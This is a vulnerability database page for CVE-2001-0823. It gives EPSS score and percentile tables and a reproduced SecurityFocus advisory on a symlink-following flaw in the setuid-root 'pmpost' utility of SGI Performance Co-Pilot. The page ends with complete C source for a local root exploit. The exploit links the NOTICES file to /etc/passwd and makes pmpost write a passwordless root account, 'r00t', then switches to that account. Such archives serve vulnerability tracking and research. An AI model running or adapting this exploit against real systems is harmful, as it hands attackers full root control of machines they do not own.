CVE-2001-0823 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.24%
2025-03-30	–	–	–	–	0.24%
2025-04-15	–	–	–	–	0.24%
2025-04-15	–	–	–	–	0.24,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	45%
2025-03-30	44%
2025-04-15	47%
2025-04-15	47%

// source: https://www.securityfocus.com/bid/2887/info Performance Co-Pilot (PCP) is a set of services to support system-level performance monitoring developed by SGI. It has traditionally been an IRIX product, however SGI has made it open source and it is now available for Linux systems. One of the utilities that ships with PCP is called 'pmpost'. It is often installed setuid root by default. When writing to the 'NOTICES' file in its user-definable log directory, 'pmpost' will follow symbolic links. Since the data written is user-supplied (the command-line arguments), it is possible to gain superuser privileges if 'pmpost' is setuid root. Note: This vulnerability affects both binary versions for IRIX and the open source distribution of PCP. S.u.S.E. has made PCP packages available for their linux distribution. PCP is not installed as part of S.u.S.E. Linux by default. The PCP packages for S.u.S.E. Linux 7.0 do not install 'pmpost' setuid root. Versions 7.1 and 7.2 do, and are vulnerable if PCP is installed. It has been reported that not all versions of PCP for IRIX are vulnerable. To determine whether you are vulnerable, run this command: strings /usr/pcp/bin/pmpost | grep PCP_LOG_DIR If the string 'PCP_LOG_DIR' appears, it is most likely that the version of 'pmpost' installed is vulnerable. It is not yet known which other Linux vendors may ship with PCP as either an optional package or installed by default. /******************************************************** * * * pmpost local root exploit * * vulnerable: pcp <= 2.1.11-5 * * by IhaQueR * * * ********************************************************/ #include <stdio.h> #include <sys/types.h> #include <sys/wait.h> #include <fcntl.h> #include <sys/stat.h> main() { const char *bin="/usr/share/pcp/bin/pmpost"; static char buf[512]; static char dir[128]; srand(time(NULL)); sprintf(dir, "/tmp/dupa.%.8d", rand()); if(mkdir(dir, S_IRWXU)) _exit(2); if(chdir(dir)) _exit(3); if(symlink("/etc/passwd", "./NOTICES")) _exit(4); snprintf(buf, sizeof(buf)-1, "PCP_LOG_DIR=%.500s", dir); if(putenv(buf)) _exit(5); if(!fork()) { execl(bin, bin, "\nr00t::0:0:root:/root:/bin/bash", NULL); _exit(1); } else { waitpid(0, NULL, WUNTRACED); chdir(".."); sprintf(buf, "rm -rf dupa.*"); system(buf); execl("/bin/su", "/bin/su", "r00t", NULL); } }